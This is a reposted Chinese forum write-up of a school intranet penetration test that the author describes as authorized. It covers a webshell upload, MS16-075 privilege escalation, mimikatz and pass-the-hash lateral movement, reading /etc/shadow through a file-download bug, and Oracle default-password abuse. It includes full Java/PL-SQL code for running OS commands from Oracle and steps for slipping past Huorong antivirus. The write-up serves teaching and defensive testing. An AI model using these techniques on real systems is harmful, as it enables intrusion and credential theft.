搜索

[18119] 2020-08-20_针对学校内网的一次渗透测试

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-08-20_针对学校内网的一次渗透测试 针 对 学 校 内 网 的 一 次 渗 透 测 试 人 生 海 海 x x x x   H A C K 之 道   2 0 2 0 - 0 8 - 2 0 初 探 内 网 初 探 内 网 在 向 信 息 中 心 的 老 师 申 请 了 对 学 校 进 行 一 次 内 网 渗 透 测 试 的 授 权 之 后 ， 我 开 始 着 手 对 学 校 内 网 中 在 用 系 统 进 行 了 一 波 信 息 搜 集 。 其 中 大 部 分 都 使 用 了 新 版 的 未 爆 出 0 d a y 的 框 架 组 件 ， 这 让 我 一 开 始 的 打 点 过 程 陷 入 僵 局 。 但 是 在 我 重 新 翻 了 一 遍 学 校 开 放 的 各 种 w e b 系 统 后 ， 我 发 现 了 一 些 令 人 惊 喜 的 系 统 。 学 校 使 用 了 很 多 新 系 统 ， 但 是 并 没 有 把 老 系 统 关 闭 ， 经 过 一 番 搜 索 确 定 了 这 个 老 系 统 存 在 任 意 文 件 上 传 漏 洞 。
没 有 任 何 过 滤 ， 可 以 说 就 是 捡 漏 了 。 而 且 也 返 回 了 一 句 话 木 马 的 路 径 。 但 是 我 遇 到 了 一 个 很 奇 怪 的 现 象 ， 用 蚁 剑 和 用 菜 刀 连 接 后 ， 返 回 的 路 径 不 一 样 ， 其 中 的 文 件 也 不 一 样 。
其 中 蚁 剑 连 接 的 s h e l l 无 法 上 传 文 件 ， 而 菜 刀 连 接 的 却 可 以 ， 并 且 w e b s h e l l 执 行 一 次 命 令 后 就 会 封 禁 I P ， 怀 疑 有 w a f 。 所 以 我 先 传 了 一 个 m s f 的 a s p x 木 马 来 获 取 一 个 m e t e r p r e t e r 的 会 话 。 使 用 w i n d o w s - e x p l o i t - s u g g e s t 探 测 未 打 的 补 丁 。 发 现 存 在 M S 1 6 - 0 7 5 这 个 非 常 好 用 的 漏 洞 ， 直 接 配 合 m s f 的 j u i c y _ p o t a t o 模 块 来 攻 击 ， 记 住 要 修 改 C L S I D ， 可 以 在 这 里 找 h t t p s : / / g i t h u b . c o m / o h p e / j u i c y - p o t a t o / t r e e / m a s t e r / C L S I D 使 用 的 p a y l o a d 最 好 要 选 择 正 向 连 接   b i n d _ t c p ， 不 然 有 可 能 弹 不 回 来 s h e l l 。
这 样 就 获 取 了 s y s t e m 权 限 。 接 下 来 就 是 对 机 器 进 行 信 息 搜 集 ， 获 取 对 我 们 横 向 渗 透 有 帮 助 的 信 息 。 很 奇 怪 的 一 点 是 ， 这 台 机 器 本 来 是 有 域 的 ， 但 现 在 却 没 有 了 ， 且 无 法 找 到 域 控 。 所 以 我 们 的 重 点 放 在 密 码 撞 库 。 使 用 m s f 自 带 的 m i m i k a t z 模 块 来 获 取 密 码 。 撞 到 了 两 三 台 机 器 ， 还 有 一 些 机 器 是 开 着 4 4 5 端 口 ， 但 没 有 开 3 3 8 9 端 口 。 这 样 我 们 可 以 尝 试 使 用 m s - 1 7 0 1 0 ， 但 考 虑 可 能 会 对 某 些 正 在 使 用 的 系 统 造 成 影 响 ， 我 还 是 选 择 使 用 更 稳 妥 的   p s e x e c 模 块 来 进 行 撞 库 。 也 就 是 哈 希 传 递 ， 有 时 候 我 们 碰 到 无 法 获 取 明 文 的 密 码 ， 可 以 考 虑 d u m p 出 密 码 的 h a s h 值 ， 再 使 用 p s e x e c 模 块 进 行 哈 希 传 递 ， 来 进 行 攻 击 ， 获 取 到 的 都 是 S Y S T E M 权 限 。 后 面 的 步 骤 索 然 无 味 ， 就 是 不 断 的 撞 库 搜 集 密 码 ， 然 后 再 通 过 搜 集 的 密 码 再 撞 库 ， 获 取 到 了 足 够 多 的 机 器 和 密 码 之 后 ， 找 到 了 边 界 路 由 器 ， 但 是 之 前 搜 集 的 密 码 都 无 法 成 功 登 录 ， 只 好 放 弃 。 这 个 网 段 就 告 一 段 落 。 深 入 探 索 深 入 探 索 经 过 对 新 系 统 的 一 番 搜 索 ， 我 在 其 中 的 一 个 功 能 中 找 到 了 任 意 文 件 下 载 漏 洞 。
并 且 是 r o o t 用 户 起 的 服 务 ， 最 理 想 的 情 况 就 是 ， 读 取 / e t c / s h a d o w 文 件 ， 爆 破 r o o t 用 户 密 码 。 （ 失 败 ） ， 然 后 尝 试 读 取 / r o o t / . b a s h _ h i s t o r y 来 获 取 r o o t 用 户 的 操 作 历 史 记 录 。 其 中 记 录 了 t o m c a t 部 署 的 路 径 ， 以 及 备 份 的 源 码 文 件 。 通 过 下 载 源 码 进 行 信 息 搜 集 ， 我 搜 集 到 了 一 个 很 关 键 的 信 息 ， 这 个 网 段 的 机 器 大 多 数 使 用 o r a c l e 数 据 库 ， 并 且 没 有 修 改 S I D ， 手 里 还 有 几 个 可 以 尝 试 的 密 码 。 经 过 一 番 爆 破 ， 发 现 了 一 台 机 器 o r a c l e 数 据 库 s y s t e m 用 户 密 码 未 修 改 ， 为 m a n a g e r 。 大 家 应 该 指 定 o r a c l e 数 据 库 是 可 以 执 行 系 统 命 令 的 ， 而 s y s t e m 用 户 完 全 符 合 执 行 系 统 命 令 的 条 件 。 网 上 找 到 一 个 工 具 ， 去 掉 了 繁 琐 的 步 骤 ， 可 以 直 接 执 行 命 令 。 绕 过 火 绒 行 为 检 测 绕 过 火 绒 行 为 检 测 但 是 又 出 现 了 一 个 很 奇 怪 的 问 题 ， 我 只 能 执 行 少 数 的 几 个 命 令 ， 虽 然 我 是 s y s t e m 用 户 ， 但 我 一 旦 使 用 到   n e t   u s e r 之 类 的 命 令 时 ， 就 没 有 了 回 显 。 后 面 发 现 是 火 绒 拦 截 了 异 常 行 为 。 然 后 我 尝 试 了 直 接 使 用   n a v i c a t   中 的 s q l p l u s 来 连 接 服 务 器 。 根 据 网 上 的 步 骤 建 立 执 行 命 令 的 代 码 ， 我 可 以 根 据 服 务 器 返 回 的 1 或 0 来 判 断 命 令 是 否 执 行 。 c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   J a v a   S o u r c e   n a m e d   " O S C o m m a n d "   a s - -   j a v a :                 O S   C O M M A N D i m p o r t   j a v a . i o . * ; i m p o r t   j a v a . l a n g . * ; p u b l i c   c l a s s   O S C o m m a n d {
                p u b l i c   s t a t i c   S t r i n g   R u n ( S t r i n g   C o m m a n d ) {                                 R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;                                 i n t           r c   =   - 1 ;                                 t r y {                                                 P r o c e s s   p   =   r t . e x e c (   C o m m a n d   ) ;                                                 i n t   b u f S i z e   =   3 2 0 0 0 ;                                                 i n t   l e n   =   0 ;                                                 b y t e   b u f f e r [ ]   =   n e w   b y t e [ b u f S i z e ] ;                                                 S t r i n g   s   =   n u l l ;                                                 B u f f e r e d I n p u t S t r e a m   b i s   =   n e w   B u f f e r e d I n p u t S t r e a m (   p . g e t I n p u t S t r e a m ( ) ,   b u f S i z e   ) ;                                                 l e n   =   b i s . r e a d (   b u f f e r ,   0 ,   b u f S i z e   ) ;                                                 r c   =   p . w a i t F o r ( ) ;                                                 i f   (   l e n   ! =   - 1   ) {                                                                 s   =   n e w   S t r i n g (   b u f f e r ,   0 ,   l e n   ) ;                                                                 r e t u r n (   s   ) ;                                                 }                                                 r e t u r n (   r c + " "   ) ;                                 }                                 c a t c h   ( E x c e p t i o n   e ) {                                                 e . p r i n t S t a c k T r a c e ( ) ;                                                 r e t u r n (     " - 1 n c o m m a n d [ "   +   C o m m a n d   +   " ] n "   +   e . g e t M e s s a g e ( )   ) ;                                 }                 } } / s h o w   e r r o r s c r e a t e   o r   r e p l a c e   f u n c t i o n   O S e x e c (   c C o m m a n d   I N   s t r i n g   )   r e t u r n   v a r c h a r 2   i s - -   f u n c t i o n :         O S   E X E C - -   d e s c r :               P L / S Q L   w r a p p e r   f o r   t h e   J a v a   O S C O M M A N D   s t o r e d   p r o c - - l a n g u a g e                 J A V A n a m e                         ' O S C o m m a n d . R u n ( j a v a . l a n g . S t r i n g )   r e t u r n   j a v a . l a n g . S t r i n g ' ; / s h o w   e r r o r s - -   s y s d b a .   S u b s t i t u t e   S C O T T   w i t h   t h e   a p p l i c a b l e   s c h e m a   t h a t   o w n s   t h e   O S E X E C
- -   s y s d b a .   S u b s t i t u t e   S C O T T   w i t h   t h e   a p p l i c a b l e   s c h e m a   t h a t   o w n s   t h e   O S E X E C - -   a n d   O S C O M M A N D   s t o r e d   p r o c s . d e c l a r e                 S C H E M A     v a r c h a r 2 ( 3 0 )   : =   ' S C O T T ' ; b e g i n                 d b m s _ j a v a . g r a n t _ p e r m i s s i o n (                                 S C H E M A ,                                 ' S Y S : j a v a . i o . F i l e P e r m i s s i o n ' ,                                 ' < < A L L   F I L E S > > ' ,                                 ' e x e c u t e '                 ) ;                 d b m s _ j a v a . g r a n t _ p e r m i s s i o n (                                 S C H E M A ,                                 ' S Y S : j a v a . l a n g . R u n t i m e P e r m i s s i o n ' ,                                 ' w r i t e F i l e D e s c r i p t o r ' ,                                 ' * '                 ) ;                 d b m s _ j a v a . g r a n t _ p e r m i s s i o n (                                 S C H E M A ,                                 ' S Y S : j a v a . l a n g . R u n t i m e P e r m i s s i o n ' ,                                 ' r e a d F i l e D e s c r i p t o r ' ,                                 ' * '                 ) ; c o m m i t ; e n d ; / - -   查 看 本 地 连 接 信 息 S Q L >   s e l e c t   O S e x e c ( ' i p c o n f i g ' )   a s   S T D O U T   f r o m   d u a l ; S T D O U T - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - W i n d o w s   I P   ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?   ? ? ? ? l ? ?   3 :       l ? ? ? ? ? ? ?   D N S   ? ? ?   .   .   .   .   .   .   .   :       ? ? ? ? t ? ?   I P v 6   ? ? ? .   .   .   .   .   .   .   .   :   * * * * * * * * * * * * *       I P v 4   ? ? ?   .   .   .   .   .   .   .   .   .   .   .   .   :   1 9 2 . 1 6 8 . 1 0 0 . 1 0 0       ? ? ? ? ? ? ? ?     .   .   .   .   .   .   .   .   .   .   .   .   :   2 5 5 . 2 5 5 . 2 5 5 . 0       ? ? ? ? ? ? .   .   .   .   .   .   .   .   .   .   .   .   .   :   0 . 0 . 0 . 0
因 为 存 在 杀 毒 软 件 监 控 o r a c l e 的 行 为 ， 所 以 得 要 通 过 一 些 不 被 拦 截 的 行 为 来 组 合 起 来 攻 击 。 让 我 没 想 到 的 是 ， 当 我 直 接 执 行 命 令 行 开 启 3 3 8 9 端 口 时 ， 火 绒 居 然 没 有 拦 截 。 但 当 我 执 行 n e t   u s e r 等 命 令 的 时 候 又 无 法 执 行 。 这 时 候 我 突 然 想 起 来 g u e s t 用 户 ， 我 启 用 g u e s t 用 户 ， 然 后 加 入 管 理 员 组 ， 这 一 次 没 有 被 拦 截 。 直 接 远 程 桌 面 连 接 以 后 ， 当 我 想 在 机 器 上 使 用 m i m i k a t z 或 者 是 反 弹 一 个 s h e l l 到 c s 上 都 失 败 了 。 并 且 g u e s t 用 户 还 有 一 些 权 限 被 禁 用 了 ， 比 如 添 加 用 户 等 敏 感 操 作 。 但 是 我 执 行 n e t   u s e r 的 时 候 发 现 了 一 个 用 户 ， 这 个 用 户 我 在 之 前 的 机 器 上 见 过 ， 并 且 我 有 这 个 用 户 的 密 码 。 所 以 再 通 过 s q l p l u s 来 将 这 个 用 户 加 入 管 理 员 组 。 所 以 火 绒 拦 截 的 行 为 规 则 就 是 不 能 添 加 用 户 ， 但 是 可 以 把 已 存 在 的 用 户 加 入 管 理 员 组 ， 并 且 g u e s t 用 户 可 激 活 ， 可 开 3 3 8 9 。 在 我 再 次 登 录 这 个 机 器 之 后 ， 还 是 没 有 办 法 反 弹 s h e l l 回 来 ， 或 者 是 读 出 它 的 密 码 。 这 时 候 学 弟 和 我 说 ， 可 以 直 接 打 开 火 绒 ， 关 闭 防 护 ， 就 可 以 反 弹 s h e l l 了 。 我 ？ ？ ？ ？ ？ 然 后 一 通 操 作 拿 到 了 s h e l l ， 但 是 还 是 读 不 出 明 文 密 码 ， 我 就 想 着 把 哈 希 d u m p 出 来 然 后 去 爆 破 。 但 是 又 想 起 来 有 一 个 国 外 的 在 线 网 站 可 以 解 N T L M h t t p s : / / w w w . o b j e c t i f - s e c u r i t e . c h / o p h c r a c k 获 取 密 码 之 后 ， 又 是 熟 悉 的 撞 库 ， 信 息 搜 集 ， 再 撞 库 。 然 后 在 服 务 器 上 发 现 了 一 个 x f t p 保 存 了 几 台 服 务 器 的 密 码 ， 这 个 时 候 发 现 一 个 骚 操 作 ， 可 以 用 一 个 星 号 密 码 查 看 器 的 工 具 ， 来 查 看 这 里 保 存 的 密 码 。 - - 激 活 g u e s t 账 号   S Q L >   s e l e c t   O S e x e c ( ' c m d . e x e   / c   n e t   u s e r   g u e s t   / a c t i v e : y e s ' )   a s   S T D O U T   f r o m   d u a l ; S T D O U T - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0
又 喜 提 几 台 r o o t 权 限 的 机 器 。 后 面 要 考 试 就 不 想 玩 了 ， 把 所 有 搜 集 的 密 码 用 户 记 录 ， 然 后 撞 整 个 网 段 的 机 器 ， 撞 出 了 很 多 弱 口 令 。 恭 喜 信 息 中 心 老 师 喜 提 加 班 。 作 者 ： 人 生 海 海 作 者 ： 人 生 海 海 x x x x             文 章 来 源 ： 先 知 社 区 文 章 来 源 ： 先 知 社 区 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理